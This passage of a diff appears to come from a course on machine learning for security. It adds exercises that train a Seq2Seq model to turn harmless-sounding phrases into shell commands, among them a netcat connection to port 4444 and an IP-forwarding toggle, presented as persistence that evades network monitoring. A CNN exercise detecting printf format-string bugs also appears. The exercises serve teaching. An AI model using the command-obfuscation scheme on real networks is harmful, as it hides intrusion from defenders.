num_decoder_tokens)) + target_seq[0, 0, sampled_token_index] = 1. + + # Update states + states_value = [h, c] + + return decoded_sentence + + + +EN_texts = ['Hi.', 'Need help?', 'www.aaaaaa.com', 'Goodbye!'] +DE_texts = [] + +encoder_input_data = np.zeros( + (len(EN_texts), max_encoder_seq_length, num_encoder_tokens), + dtype='float32') + +for i, input_text in enumerate(EN_texts): + for t, char in enumerate(input_text): + encoder_input_data[i, t, input_token_index[char]] = 1. + encoder_input_data[i, t + 1:, input_token_index[' ']] = 1. + +for seq_index in range(len(EN_texts)): + # Take one sequence and convert it to German + input_seq = encoder_input_data[seq_index: seq_index + 1] + DE_texts.append(decode_sequence(input_seq).strip()) + + +print('\nEnglish or German?') +language = input('[DE] / [EN]: ') + +chat_text = EN_texts +if 'de' in language.lower(): + chat_text = DE_texts + +print('\n') +print(chat_text[0]) +print(chat_text[1]) +need_help = input('[Y] / [N]: ') + +if 'n' not in need_help.lower(): + print('\n') + print(chat_text[2]) + +print('\n') +print(chat_text[3]) + diff --git a/5_MalwareInjection/target_tokens.npy b/5_MalwareInjection/target_tokens.npy new file mode 100644 index 0000000..24306f4 Binary files /dev/null and b/5_MalwareInjection/target_tokens.npy differ diff --git a/6_NeuralObfuscation/README.md b/6_NeuralObfuscation/README.md new file mode 100644 index 0000000..e47f2d6 --- /dev/null +++ b/6_NeuralObfuscation/README.md @@ -0,0 +1,29 @@ +# Exercise 6-0 + +You want to create persistency on a target machine by having a service run in the background. However, you know the network is monitored. Your goal is to train a recurrent neural network (Seq2Seq) to understand plain text commands and convert them into shell commands: + +- Create training data and save them in the file 'solution_data.txt' +- Train the model by running 'train.py' +- Check that your model works by running 'exercise.py' +- Your model must be able to at least translate the following commands: + +``` + Call home ---> ping 192.168.0.4 + Show me the money ---> nc -v 192.168.0.2 4444 + Let's go! ---> echo 1 > /proc/sys/net/ipv4/ip_forward + Stop annoying me ---> kill 2222 +``` + +- You may modify all files to suit your training requirements, except the lower part of 'exercise.py' (it is marked) + +*Some Tipps:* + +- Play around with the batch_size and the epochs. + + → Smaller batch_sizes usually lead to higher accuracy, but slower training. Normally this can also lead to overfitting, but in our case that is fine/wanted. + + → More epochs lead to higher accuracy on the training set, but slower training and can lead to overfitting. +- If you change anything apart from batch_size and epochs in the training routine, remember to change 'test.py' in the same way. +- You can check out datasets that are actually used by Seq2Seq for inspiration (http://www.manythings.org/anki/) + +A solution can be found in 'solution_6_0.py' \ No newline at end of file diff --git a/6_NeuralObfuscation/exercise.py b/6_NeuralObfuscation/exercise.py new file mode 100644 index 0000000..f4a0754 --- /dev/null +++ b/6_NeuralObfuscation/exercise.py @@ -0,0 +1,170 @@ +''' +Please read the README.md for Exercise instructions! + + +This code is a modified version of: +https://github.com/keras-team/keras/blob/master/examples/lstm_seq2seq_restore.py +''' + +from __future__ import print_function + +from keras.models import Model, load_model +from keras.layers import Input +from difflib import SequenceMatcher +import numpy as np + +latent_dim = 256 # Latent dimensionality of the encoding space. +# Path to the data txt file on disk. +data_path = '6_NeuralObfuscation/solution_data.txt' + +# Vectorize the data. We use the same approach as the training script. +# NOTE: the data must be identical, in order for the character -> integer +# mappings to be consistent. +# We omit encoding target_texts since they are not needed. +input_texts = [] +target_texts = [] +input_characters = set() +target_characters = set() +with open(data_path, 'r', encoding='utf-8') as f: + lines = f.read().split('\n') +for line in lines[: (len(lines) - 1)]: + input_text, target_text = line.split('\t') + # We use "tab" as the "start sequence" character + # for the targets, and "\n" as "end sequence" character. + target_text = '\t' + target_text + '\n' + input_texts.append(input_text) + target_texts.append(target_text) + for char in input_text: + if char not in input_characters: + input_characters.add(char) + for char in target_text: + if char not in target_characters: + target_characters.add(char) + +input_characters = sorted(list(input_characters)) +target_characters = sorted(list(target_characters)) +num_encoder_tokens = len(input_characters) +num_decoder_tokens = len(target_characters) +max_encoder_seq_length = max([len(txt) for txt in input_texts]) +max_decoder_seq_length = max([len(txt) for txt in target_texts]) + +input_token_index = dict( + [(char, i) for i, char in enumerate(input_characters)]) +target_token_index = dict( + [(char, i) for i, char in enumerate(target_characters)]) + +encoder_input_data = np.zeros( + (len(input_texts), max_encoder_seq_length, num_encoder_tokens), + dtype='float32') + +for i, input_text in enumerate(input_texts): + for t, char in enumerate(input_text): + encoder_input_data[i, t, input_token_index[char]] = 1. + +# Restore the model and construct the encoder and decoder. +model = load_model('6_NeuralObfuscation/solution_model.h5') + +encoder_inputs = model.input[0] # input_1 +encoder_outputs, state_h_enc, state_c_enc = model.layers[2].output # lstm_1 +encoder_states = [state_h_enc, state_c_enc] +encoder_model = Model(encoder_inputs, encoder_states) + +decoder_inputs = model.input[1] # input_2 +decoder_state_input_h = Input(shape=(latent_dim,), name='input_3') +decoder_state_input_c = Input(shape=(latent_dim,), name='input_4') +decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] +decoder_lstm = model.layers[3] +decoder_outputs, state_h_dec, state_c_dec = decoder_lstm( + decoder_inputs, initial_state=decoder_states_inputs) +decoder_states = [state_h_dec, state_c_dec] +decoder_dense = model.layers[4] +decoder_outputs = decoder_dense(decoder_outputs) +decoder_model = Model( + [decoder_inputs] + decoder_states_inputs, + [decoder_outputs] + decoder_states) + +# Reverse-lookup token index to decode sequences back to +# something readable. +reverse_input_char_index = dict( + (i, char) for char, i in input_token_index.items()) +reverse_target_char_index = dict( + (i, char) for char, i in target_token_index.items()) + + +# Decodes an input sequence. Future work should support beam search. +def decode_sequence(input_seq): + # Encode the input as state vectors. + states_value = encoder_model.predict(input_seq) + + # Generate empty target sequence of length 1. + target_seq = np.zeros((1, 1, num_decoder_tokens)) + # Populate the first character of target sequence with the start character. + target_seq[0, 0, target_token_index['\t']] = 1. + + # Sampling loop for a batch of sequences + # (to simplify, here we assume a batch of size 1). + stop_condition = False + decoded_sentence = '' + while not stop_condition: + output_tokens, h, c = decoder_model.predict( + [target_seq] + states_value) + + # Sample a token + sampled_token_index = np.argmax(output_tokens[0, -1, :]) + sampled_char = reverse_target_char_index[sampled_token_index] + decoded_sentence += sampled_char + + # Exit condition: either hit max length + # or find stop character. + if (sampled_char == '\n' or + len(decoded_sentence) > max_decoder_seq_length): + stop_condition = True + + # Update the target sequence (of length 1). + target_seq = np.zeros((1, 1, num_decoder_tokens)) + target_seq[0, 0, sampled_token_index] = 1. + + # Update states + states_value = [h, c] + + return decoded_sentence + + + +# -------------------------------------------- +# Do not modify below! +# -------------------------------------------- + + +# Call home ---> ping 192.168.0.4 +# Show me the money ---> nc -v 192.168.0.2 4444 +# Let's go! ---> echo 1 > /proc/sys/net/ipv4/ip_forward +# Stop annoying me ---> kill 2222 + + +print('--------------------------------------------') + +input_texts = ['Call home', 'Show me the money', "Let's go!", 'Stop annoying me'] +correct = ['ping 192.168.0.4', 'nc -v 192.168.0.2 4444', 'echo 1 > /proc/sys/net/ipv4/ip_forward', 'kill 2222'] +input_seq = np.zeros((len(input_texts), max_encoder_seq_length, num_encoder_tokens), + dtype='float32') + +for i, input_text in enumerate(input_texts): + for t, char in enumerate(input_text): + input_seq[i, t, input_token_index[char]] = 1. + + +print('Results:') + +for i, input_text in enumerate(input_texts): + decoded_sentence = decode_sequence(input_seq[i: i + 1]) + difference = SequenceMatcher(None, correct[i], decoded_sentence.rstrip()).ratio() + + if difference >= 1.0: + print('(' + str(difference) + ') CORRECT:') + elif difference >= 0.8: + print('(' + str(difference) + ') CLOSE, BUT NOT EXACT:') + else: + print('(' + str(difference) + ') INCORRECT:') + + print(input_text.ljust(20) + ' --> ' + decoded_sentence) \ No newline at end of file diff --git a/6_NeuralObfuscation/solution_6_0.py b/6_NeuralObfuscation/solution_6_0.py new file mode 100644 index 0000000..26c6b7b --- /dev/null +++ b/6_NeuralObfuscation/solution_6_0.py @@ -0,0 +1,46 @@ +import numpy as np + +# We generate simple commands: +# +# Call home ---> ping 192.168.0.4 +# Show me the money ---> nc -v 192.168.0.2 4444 +# Let's go! ---> echo 1 > /proc/sys/net/ipv4/ip_forward +# Stop annoying me ---> kill 2222 +# +# -------------------------------------------------------------- +# Train this with +# +# batch_size = 4 +# epochs = 10 +# latent_dim = 256 +# +# Training should only take one or two minutes on a 1060 GTX + +total_size = 1000 + +output_string = "" +out_texts = [] + + +for i in range(total_size): + + # We use "tab" as the "start sequence" character + # for the targets, and "\n" as "end sequence" character. + if i % 7 == 0: + out_texts.append('Call home\tping 192.168.0.4\n') + elif i % 7 == 1: + out_texts.append('Show me the money\tnc -v 192.168.0.2 4444\n') + elif i % 7 == 2: + out_texts.append("Let's go!\techo 1 > /proc/sys/net/ipv4/ip_forward\n") + elif i % 7 == 3: + out_texts.append('Stop annoying me\tkill 2222\n') + elif i % 7 == 4: + out_texts.append('Stop\tkill\n') + elif i % 7 == 5: + out_texts.append('Show me\tnc -v\n') + elif i % 7 == 6: + out_texts.append('Call\tping\n') + +with open('6_NeuralObfuscation/solution_data.txt', 'w') as f: + for item in out_texts: + f.write(item) \ No newline at end of file diff --git a/6_NeuralObfuscation/train.py b/6_NeuralObfuscation/train.py new file mode 100644 index 0000000..6db3570 --- /dev/null +++ b/6_NeuralObfuscation/train.py @@ -0,0 +1,233 @@ + +''' +Code Taken from +https://github.com/keras-team/keras/blob/master/examples/lstm_seq2seq.py +with some minor modifications + + +#Sequence to sequence example in Keras (character-level). +This script demonstrates how to implement a basic character-level +sequence-to-sequence model. We apply it to translating +short English sentences into short French sentences, +character-by-character. Note that it is fairly unusual to +do character-level machine translation, as word-level +models are more common in this domain. +**Summary of the algorithm** +- We start with input sequences from a domain (e.g. English sentences) + and corresponding target sequences from another domain + (e.g. French sentences). +- An encoder LSTM turns input sequences to 2 state vectors + (we keep the last LSTM state and discard the outputs). +- A decoder LSTM is trained to turn the target sequences into + the same sequence but offset by one timestep in the future, + a training process called "teacher forcing" in this context. + It uses as initial state the state vectors from the encoder. + Effectively, the decoder learns to generate `targets[t+1...]` + given `targets[...t]`, conditioned on the input sequence. +- In inference mode, when we want to decode unknown input sequences, we: + - Encode the input sequence into state vectors + - Start with a target sequence of size 1 + (just the start-of-sequence character) + - Feed the state vectors and 1-char target sequence + to the decoder to produce predictions for the next character + - Sample the next character using these predictions + (we simply use argmax). + - Append the sampled character to the target sequence + - Repeat until we generate the end-of-sequence character or we + hit the character limit. +**Data download** +[English to French sentence pairs. +](http://www.manythings.org/anki/fra-eng.zip) +[Lots of neat sentence pairs datasets. +](http://www.manythings.org/anki/) +**References** +- [Sequence to Sequence Learning with Neural Networks + ](https://arxiv.org/abs/1409.3215) +- [Learning Phrase Representations using + RNN Encoder-Decoder for Statistical Machine Translation + ](https://arxiv.org/abs/1406.1078) +''' +from __future__ import print_function + +from keras.models import Model +from keras.layers import Input, LSTM, Dense +import numpy as np + +batch_size = 64 # Batch size for training. +epochs = 100 # Number of epochs to train for. +latent_dim = 256 # Latent dimensionality of the encoding space. + +# Path to the data txt file on disk. +data_path = '6_NeuralObfuscation/solution_data.txt' + +# Vectorize the data. +input_texts = [] +target_texts = [] +input_characters = set() +target_characters = set() +with open(data_path, 'r', encoding='utf-8') as f: + lines = f.read().split('\n') +# Ignoring the last blank line +for line in lines[: len(lines) - 1]: + input_text, target_text = line.split('\t') + # We use "tab" as the "start sequence" character + # for the targets, and "\n" as "end sequence" character. + target_text = '\t' + target_text + '\n' + input_texts.append(input_text) + target_texts.append(target_text) + for char in input_text: + if char not in input_characters: + input_characters.add(char) + for char in target_text: + if char not in target_characters: + target_characters.add(char) + +input_characters = sorted(list(input_characters)) +target_characters = sorted(list(target_characters)) +num_encoder_tokens = len(input_characters) +num_decoder_tokens = len(target_characters) +max_encoder_seq_length = max([len(txt) for txt in input_texts]) +max_decoder_seq_length = max([len(txt) for txt in target_texts]) + +print('Number of samples:', len(input_texts)) +print('Number of unique input tokens:', num_encoder_tokens) +print('Number of unique output tokens:', num_decoder_tokens) +print('Max sequence length for inputs:', max_encoder_seq_length) +print('Max sequence length for outputs:', max_decoder_seq_length) + +input_token_index = dict( + [(char, i) for i, char in enumerate(input_characters)]) +target_token_index = dict( + [(char, i) for i, char in enumerate(target_characters)]) + +encoder_input_data = np.zeros( + (len(input_texts), max_encoder_seq_length, num_encoder_tokens), + dtype='float32') +decoder_input_data = np.zeros( + (len(input_texts), max_decoder_seq_length, num_decoder_tokens), + dtype='float32') +decoder_target_data = np.zeros( + (len(input_texts), max_decoder_seq_length, num_decoder_tokens), + dtype='float32') + +for i, (input_text, target_text) in enumerate(zip(input_texts, target_texts)): + for t, char in enumerate(input_text): + encoder_input_data[i, t, input_token_index[char]] = 1. + encoder_input_data[i, t + 1:, input_token_index[' ']] = 1. + for t, char in enumerate(target_text): + # decoder_target_data is ahead of decoder_input_data by one timestep + decoder_input_data[i, t, target_token_index[char]] = 1. + if t > 0: + # decoder_target_data will be ahead by one timestep + # and will not include the start character. + decoder_target_data[i, t - 1, target_token_index[char]] = 1. + decoder_input_data[i, t + 1:, target_token_index[' ']] = 1. + decoder_target_data[i, t:, target_token_index[' ']] = 1. +# Define an input sequence and process it. +encoder_inputs = Input(shape=(None, num_encoder_tokens)) +encoder = LSTM(latent_dim, return_state=True) +encoder_outputs, state_h, state_c = encoder(encoder_inputs) +# We discard `encoder_outputs` and only keep the states. +encoder_states = [state_h, state_c] + +# Set up the decoder, using `encoder_states` as initial state. +decoder_inputs = Input(shape=(None, num_decoder_tokens)) +# We set up our decoder to return full output sequences, +# and to return internal states as well. We don't use the +# return states in the training model, but we will use them in inference. +decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) +decoder_outputs, _, _ = decoder_lstm(decoder_inputs, + initial_state=encoder_states) +decoder_dense = Dense(num_decoder_tokens, activation='softmax') +decoder_outputs = decoder_dense(decoder_outputs) + +# Define the model that will turn +# `encoder_input_data` & `decoder_input_data` into `decoder_target_data` +model = Model([encoder_inputs, decoder_inputs], decoder_outputs) + +# Run training +model.compile(optimizer='rmsprop', loss='categorical_crossentropy', + metrics=['accuracy']) +model.fit([encoder_input_data, decoder_input_data], decoder_target_data, + batch_size=batch_size, + epochs=epochs, + validation_split=0.2) +# Save model +model.save('6_NeuralObfuscation/solution_model.h5') + +# Next: inference mode (sampling). +# Here's the drill: +# 1) encode input and retrieve initial decoder state +# 2) run one step of decoder with this initial state +# and a "start of sequence" token as target. +# Output will be the next target token +# 3) Repeat with the current target token and current states + +# Define sampling models +encoder_model = Model(encoder_inputs, encoder_states) + +decoder_state_input_h = Input(shape=(latent_dim,)) +decoder_state_input_c = Input(shape=(latent_dim,)) +decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] +decoder_outputs, state_h, state_c = decoder_lstm( + decoder_inputs, initial_state=decoder_states_inputs) +decoder_states = [state_h, state_c] +decoder_outputs = decoder_dense(decoder_outputs) +decoder_model = Model( + [decoder_inputs] + decoder_states_inputs, + [decoder_outputs] + decoder_states) + +# Reverse-lookup token index to decode sequences back to +# something readable. +reverse_input_char_index = dict( + (i, char) for char, i in input_token_index.items()) +reverse_target_char_index = dict( + (i, char) for char, i in target_token_index.items()) + + +def decode_sequence(input_seq): + # Encode the input as state vectors. + states_value = encoder_model.predict(input_seq) + + # Generate empty target sequence of length 1. + target_seq = np.zeros((1, 1, num_decoder_tokens)) + # Populate the first character of target sequence with the start character. + target_seq[0, 0, target_token_index['\t']] = 1. + + # Sampling loop for a batch of sequences + # (to simplify, here we assume a batch of size 1). + stop_condition = False + decoded_sentence = '' + while not stop_condition: + output_tokens, h, c = decoder_model.predict( + [target_seq] + states_value) + + # Sample a token + sampled_token_index = np.argmax(output_tokens[0, -1, :]) + sampled_char = reverse_target_char_index[sampled_token_index] + decoded_sentence += sampled_char + + # Exit condition: either hit max length + # or find stop character. + if (sampled_char == '\n' or + len(decoded_sentence) > max_decoder_seq_length): + stop_condition = True + + # Update the target sequence (of length 1). + target_seq = np.zeros((1, 1, num_decoder_tokens)) + target_seq[0, 0, sampled_token_index] = 1. + + # Update states + states_value = [h, c] + + return decoded_sentence + + +for seq_index in range(20): + # Take one sequence (part of the training set) + # for trying out decoding. + input_seq = encoder_input_data[seq_index: seq_index + 1] + decoded_sentence = decode_sequence(input_seq) + print('-') + print('Input sentence:', input_texts[seq_index]) + print('Decoded sentence:', decoded_sentence) \ No newline at end of file diff --git a/7_BugHunter/README.md b/7_BugHunter/README.md new file mode 100644 index 0000000..174c2ae --- /dev/null +++ b/7_BugHunter/README.md @@ -0,0 +1,21 @@ +# Exercise 7-0 + +You are tired of doing bug hunting by hand and static code analysis doesn't seem to be working as you intended. Instead, you decide to use a neural network to search for vulnerabilities! + +You have already done the first step and created a training set of (code, vulnerable?) pairs in the 'train.txt' file. Now its time to train a model to get the AI working! You decide to use convolution and find that the code in 'train.py' seems to be a good starting point. + +- Train a model on the data provided in 'train.txt', such as the one found in 'train.py', to find vulnerable code. (You can use any other model if you so please) +- 'exercise.py' contains some further code you found that seems helpful. +- Test your model on the following source code you found to see if it finds the vulnerable 'printf' statement. + + +``` +printf("Hey %s, how are you?", name); +printf("Doing fine..."); +printf(status); +printf("What about you?"); +printf(""); +``` + + +A solution can be found in 'solution_7_0.py' \ No newline at end of file diff --git a/7_BugHunter/exercise.py b/7_BugHunter/exercise.py new file mode 100644 index 0000000..ee08b45 --- /dev/null +++ b/7_BugHunter/exercise.py @@ -0,0 +1,35 @@ +''' +Please read the README.md for Exercise instructions! +''' + + +# This is the "source code" you want to test. +sourceCode = [ + 'printf("Hey %s, how are you?", name);', + 'printf("Doing fine...");', + 'printf(status);', + 'printf("What about you?");', + 'printf("");', +] + + +# Hmmm, this might be interesting. + +import nltk + +nltk.download('punkt') + +def tokenizeCode(someCode): + tokenDict = { + 'aaa': 1, + 'bbb': 2 } + + tokenizer = nltk.tokenize.MWETokenizer() + tokens = tokenizer.tokenize(nltk.word_tokenize(someCode)) + + indexedTokens = [] + for token in tokens: + indexedTokens.append(tokenDict.get(token, 0)) + + return indexedTokens + diff --git a/7_BugHunter/solution_7_0.py b/7_BugHunter/solution_7_0.py new file mode 100644 index 0000000..8db3977 --- /dev/null +++ b/7_BugHunter/solution_7_0.py @@ -0,0 +1,130 @@ +import numpy as np +import nltk + +from keras.preprocessing import sequence +from keras.models import Sequential +from keras.layers import Dense, Dropout, Activation +from keras.layers import Embedding +from keras.layers import Conv1D, GlobalMaxPooling1D +from keras.datasets import imdb + +nltk.download('punkt') + +def tokenizeCode(codeSnippet): + tokenDict = { + 'printf': 1, + 'scanf': 2, + '%_d': 3, + '%_s': 4, + '``': 5, # NLTK beginning qutation marks + "''": 6, # NLTK ending qutation marks + ',': 7, + '(': 8, + ')': 9, + ';': 10 } + + tokenizer = nltk.tokenize.MWETokenizer() + tokenizer.add_mwe(('%', 'd')) + tokenizer.add_mwe(('%', 'n')) + + tokens = tokenizer.tokenize(nltk.word_tokenize(codeSnippet)) + + indexedTokens = [] + for token in tokens: + indexedTokens.append(tokenDict.get(token, 0)) + + return indexedTokens + + +x_train = [] +y_train = [] + +x_test = [] +x_test_real = [] +y_test = [] + +f = open("7_BugHunter/train.txt", "r") +contents = f.readlines() +for i, line in enumerate(contents): + x_data, y_data = line.strip().split('\t') + if i % 5 == 0: + x_test_real.append(x_data) + x_test.append(tokenizeCode(x_data)) + y_test.append(int(y_data)) + else: + x_train.append(tokenizeCode(x_data)) + y_train.append(int(y_data)) + +# set parameters: +max_features = 15 +maxlen = 20 +batch_size = 32 +embedding_dims = 50 +filters = 250 +kernel_size = 3 +hidden_dims = 250 +epochs = 3 + +print('Pad sequences (samples x time)') +x_train = sequence.pad_sequences(x_train, maxlen=maxlen) +x_test = sequence.pad_sequences(x_test, maxlen=maxlen) +print('x_train shape:', x_train.shape) +print('x_test shape:', x_test.shape) + +print('Build model...') +model = Sequential() + +# we start off with an efficient embedding layer which maps +# our vocab indices into embedding_dims dimensions +model.add(Embedding(max_features, + embedding_dims, + input_length=maxlen)) +model.add(Dropout(0.2)) + +# we add a Convolution1D, which will learn filters +# word group filters of size filter_length: +model.add(Conv1D(filters, + kernel_size, + padding='valid', + activation='relu', + strides=1)) +# we use max pooling: +model.add(GlobalMaxPooling1D()) + +# We add a vanilla hidden layer: +model.add(Dense(hidden_dims)) +model.add(Dropout(0.2)) +model.add(Activation('relu')) + +# We project onto a single unit output layer, and squash it with a sigmoid: +model.add(Dense(1)) +model.add(Activation('sigmoid')) + +model.compile(loss='binary_crossentropy', + optimizer='adam', + metrics=['accuracy']) +model.fit(x_train, y_train, + batch_size=batch_size, + epochs=epochs, + validation_data=(x_test, y_test)) + + +realTest = [ + 'printf("Hey %s, how are you?", name);', + 'printf("Doing fine...");', + 'printf(status);', + 'printf("What about you?");', + 'printf("");', +] + +tokenizedTest = [] + +for test in realTest: + tokenizedTest.append(tokenizeCode(test)) + +tokenizedTest = sequence.pad_sequences(tokenizedTest, maxlen=maxlen) +results = model.predict(tokenizedTest) + +for i in range(len(tokenizedTest)): + print(realTest[i]) + print(results[i]) diff --git a/7_BugHunter/train.py b/7_BugHunter/train.py new file mode 100644 index 0000000..436ef54 --- /dev/null +++ b/7_BugHunter/train.py @@ -0,0 +1,76 @@ +''' +This is a 1-to-1 copy of: +https://github.com/keras-team/keras/blob/master/examples/imdb_cnn.py + + +#This example demonstrates the use of Convolution1D for text classification. +Gets to 0.89 test accuracy after 2 epochs.
+90s/epoch on Intel i5 2.4Ghz CPU.
+10s/epoch on Tesla K40 GPU. +''' +from __future__ import print_function + +from keras.preprocessing import sequence +from keras.models import Sequential +from keras.layers import Dense, Dropout, Activation +from keras.layers import Embedding +from keras.layers import Conv1D, GlobalMaxPooling1D +from keras.datasets import imdb + +# set parameters: +max_features = 5000 +maxlen = 400 +batch_size = 32 +embedding_dims = 50 +filters = 250 +kernel_size = 3 +hidden_dims = 250 +epochs = 2 + +print('Loading data...') +(x_train, y_train), (x_test, y_test) = imdb.load_data(num_words=max_features) +print(len(x_train), 'train sequences') +print(len(x_test), 'test sequences') + +print('Pad sequences (samples x time)') +x_train = sequence.pad_sequences(x_train, maxlen=maxlen) +x_test = sequence.pad_sequences(x_test, maxlen=maxlen) +print('x_train shape:', x_train.shape) +print('x_test shape:', x_test.shape) + +print('Build model...') +model = Sequential() + +# we start off with an efficient embedding layer which maps +# our vocab indices into embedding_dims dimensions +model.add(Embedding(max_features, + embedding_dims, + input_length=maxlen)) +model.add(Dropout(0.2)) + +# we add a Convolution1D, which will learn filters +# word group filters of size filter_length: +model.add(Conv1D(filters, + kernel_size, + padding='valid', + activation='relu', + strides=1)) +# we use max pooling: +model.add(GlobalMaxPooling1D()) + +# We add a vanilla hidden layer: +model.add(Dense(hidden_dims)) +model.add(Dropout(0.2)) +model.add(Activation('relu')) + +# We project onto a single unit output layer, and squash it with a sigmoid: +model.add(Dense(1)) +model.add(Activation('sigmoid')) + +model.compile(loss='binary_crossentropy', + optimizer='adam', + metrics=['accuracy']) +model.fit(x_train, y_train, + batch_size=batch_size, + epochs=epochs, + validation_data=(x_test, y_test)) \ No newline at end of file diff --git a/7_BugHunter/train.txt b/7_BugHunter/train.txt new file mode 100644 index 0000000..b8edfd7 --- /dev/null +++ b/7_BugHunter/train.txt @@ -0,0 +1,2000 @@ +printf("nacreous %s", superprecise); 0 +printf("immethodize anaberoga unpropitiatedness"); 0 +printf("tribalist brocaded"); 0 +printf(scavel, bladed, Sotik); 1 +printf("%d febrifacient ogganition velamentum dilettantism", sternopericardiac); 0 +printf("comingle ephoral accendibility shaved %s unterrifying %d ticker", effervescency, pict); 0 +printf("Phylloxera trimethylene cupriferous exquisitively geniture overbrimmingly homomorphous anthropogeography"); 0 +printf("alloplasmatic spongiousness"); 0 +printf(permanently, detainment, antrustionship); 1 +printf("amniorrhea"); 0 +printf("cathedratica %s crinula grane %d overly", freelage, propinoic); 0 +printf("searchful theophysical clavipectoral praecipuum unfriendship picksmith ungraduated trilabiate"); 0 +printf("triplumbic epicritic %d hyperfunctional squirt", forevouched); 0 +printf("consilient biggah thermophosphorescence searlesite %s Placophora unartificiality beakful reproachably", front); 0 +printf("multituberculy marid preponderance"); 0 +printf("Jova"); 0 +printf("hempbush autocab overrapturize"); 0 +printf("crusader dominated"); 0 +printf("%d unvital", amazeful); 0 +printf("sectator %d promisingly chemisette", stay); 0 +printf("Hallstattian %d clericalize nanocephalus taxonomy phytobiology torpedo acheilous Seckel", unseized); 0 +printf("lightscot allopathically gasbag conundrumize sponson arrogantness"); 0 +printf("unoriginatedness supernaculum postpycnotic wunna Opilia"); 0 +printf("zincide miniver glumal pitchman frowstiness brigadier"); 0 +printf("posting remindful undisorderly cowheel %s Axis %d %s", huggingly, bootlessness, suttin); 0 +printf("manred pregladden phyllomorphic"); 0 +printf(Azygobranchiata, megalocephaly); 1 +printf("weaponproof %d unroiled", overlave); 0 +printf("unicarinated"); 0 +printf("sardonic polyopia emmetropic autophone fortnight"); 0 +printf("plucker unmeddled unweetingly labioalveolar unsolidified %s %d", Christian, Dianthera); 0 +printf("globoid huddlingly prothetically"); 0 +printf("ichthyocol trimeric regloss nickel Telugu"); 0 +printf("inapproachability incubation mazut unnutritive choanosomal"); 0 +printf("Butomaceae clairvoyantly presumptuous carnate %d sunfish podaxonial solver quaddle", Gujrati); 0 +printf(noncursive); 1 +printf("calculate dietotherapy"); 0 +printf("interregna plumbable decarburization"); 0 +printf("engarrison stethometric dramatism fungoid Wafdist lophotrichic submaxillary mobile embryoferous"); 0 +printf("jufti %d circumambulate recontrol Chrobat avengeful", infusionism); 0 +printf("civetlike fundi supersolemn straightly Humiriaceae microfluidal altometer unpreened"); 0 +printf("conglomeratic %d pourpoint governessdom", Cyllenian); 0 +printf(theatrophone, Trichoplax); 1 +printf("immobile %s hysteromyomectomy", scission); 0 +printf("volcanicity venality coadjuvate blechnoid"); 0 +printf(Ceratops, rateless, afterwrist); 1 +printf("sneering phenogenetic Thiobacillus noncoagulation reparable weasellike"); 0 +printf("myomalacia foppery miragy fringelet cockfight %d unfactious disinflate naemorhedine", ashweed); 0 +printf("%s Thalian brekkle unsane noumenalize nonrevolving barbwire %s", Timothean, assistor); 0 +printf("compensation"); 0 +printf("%d vengeable beshout pyrosulphate escapade alicoche", desertic); 0 +printf("grouchingly rockably %d crew %s", macrencephalous, tactometer); 0 +printf("aecidium neuriatry machar rutherfordine oblivionate multimetallism"); 0 +printf("scuddy predominancy cheater %s goldcrest adamantean pteropod temple", charac); 0 +printf("carpocephalum Kalmarian %d erectopatent Ianus impressibleness prestandard extrapolar dummered", uncinctured); 0 +printf("oarialgia cryptography segmentate coappriser"); 0 +printf("Ravindran scutellar henwise sogginess humoristic amplification foreignness Sclerogeni"); 0 +printf("ponerine eozoon cordies"); 0 +printf("hydrula treeless procacious %d", ie); 0 +printf("unstrapped"); 0 +printf(Redemptionist); 1 +printf("alkylamine archimorula"); 0 +printf("trechmannite unlearnt gonidium %d hock unexigent", pityriasis); 0 +printf("roller Maskegon Ubiquitarian saccular eats republicanizer"); 0 +printf("phasmatoid monocratic pulverous meable angrily"); 0 +printf("%s overminutely diplarthrous tetracyclic hyposecretion pulpitis planoorbicular", preabundant); 0 +printf("overcare hoga parnorpine uncourted semichannel shafted vitriolic orgeat"); 0 +printf("%d", bromthymol); 0 +printf("heterothermal"); 0 +printf("%d %d pedestrian Erava gat yohimbi", amicability, humanics); 0 +printf("balistraria Permalloy alkalimetry depilation solenogaster"); 0 +printf("%s hyocholalic over servantlike pixy sesquialteran kernelly", hoydenish); 0 +printf("innermost %d evulgation myrioscope typhlostenosis", reindebtedness); 0 +printf("supertranscendently Psammophis"); 0 +printf("sacrococcygean linkman poppylike"); 0 +printf("opiism %d oligosideric comparative %s leptophyllous doppelkummel", nonspecialist, waterlogged); 0 +printf("seriema molybdodyspepsia %s phengite", tetrachloride); 0 +printf("%d hirondelle parolable ophthalmophthisis incorporeity kella limpily", vomica); 0 +printf("phonology %s", biacid); 0 +printf("duodenocholangitis candlemaking enchondrosis trogonoid ledol"); 0 +printf("Leonardesque heroid pyeloscopy %d notably %d procteurynter seismicity", ammonocarbonic, nonconductible); 0 +printf("thrast %d Balanidae intragemmal hydropult", averrable); 0 +printf("unconcurring %d Mephistophelistic irritator halakist", hippurite); 0 +printf("undeify unstayable intenancy elseways outthink reagitate preach"); 0 +printf("pachystichous didelphic nonaccretion mima Saturnian"); 0 +printf("polio Shona unribboned eastmost hymenal"); 0 +printf("unjokingly orality swelled Berberian galangin samadh %d branchireme polychromate", sensibility); 0 +printf("%d", unaddress); 0 +printf("dehiscence %s renegadism %d ancylopod unsucceeded", promise, oversmoothness); 0 +printf("Witoto seigneurage cajolery"); 0 +printf("catodont wheep foreannouncement spleenishness miasmatically distrainor"); 0 +printf("tentful holoparasite unjudiciousness %s inviscidity", cacotheline); 0 +printf("classes %s dibasicity %d determinateness anosmia unscamped impuritan", extension, preoffensively); 0 +printf("ethmovomer uncontainably terphenyl traceably"); 0 +printf("pseudoneuropterous"); 0 +printf("Bryanite condiddle entrance giraffe reincarnationist reclothing"); 0 +printf("ephod desmology spermogone sporoblast oxidizable lamping"); 0 +printf("Davy %d chromiferous octagon creashaks unconjecturable %s chaetopodan apophylaxis", Ciliata, taction); 0 +printf("plutonium fohat lagonite overmerciful ethicist Jicarilla unreplaceable socketful"); 0 +printf("bargelike havage escruage Sadie souchy craterkin paltriness spindled"); 0 +printf("%s taglet pothanger minstrelsy revamp Uranoscopus stonehead", scatula); 0 +printf("engastrimyth rackety housemaidenly ungrudgingness nonfatty"); 0 +printf("retractively electrolithotrity"); 0 +printf("outswim"); 0 +printf("Chrysopa biometeorology Rubiaceae taffeta neurochitin"); 0 +printf("day Apargia unequipped"); 0 +printf(droopingness, unexhausted, sucupira); 1 +printf("taxational heeltap flurriment tuggery rhinoscope Pelobates tergant pulveration Corybantic"); 